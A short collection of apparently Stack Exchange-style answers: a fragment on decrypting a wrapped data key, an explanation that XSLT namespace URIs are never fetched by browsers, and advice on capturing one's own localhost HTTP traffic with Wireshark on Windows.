Verify the HMAC on the wrapped key using the user key.  This is the authentication step.
Use the user key to decrypt the wrapped key, revealing the data key.
Decrypt the data using the IV and the data key.


Are browsers fetching the XSLT namespace over HTTP when transforming XML?

XML Namespaces are just strings in the format of URI's, not actual lookups:

  XML namespaces provide a simple method for qualifying element and attribute names used in Extensible Markup Language documents by associating them with namespaces identified by URI references.

The request never occurs. If you go to http://www.w3.org/1999/XSL/Transform in your browser, you'll see that the page returned is just a bunch of related document links to help out people who accidentally go to the URL.

So there's no risk due to the lack of SSL as, while the string is formatted to be a URI, it is just a string.


Sniff packets with wireshark on localhost

That is a common enough problem. Unfortunately, there is no universal solution for this under Windows.

You can work around it by binding your server to your local IP address instead of the loopback address (localhost). You will need to connect your android device to the network and have it connect to this address as well. After this, you should be able to intercept your HTTP traffic with Wireshark.

Another option is to enable full HTTP traffic logging on your server. Apache has mod_dumpio that will do that (although I have no idea if it's available under Windows).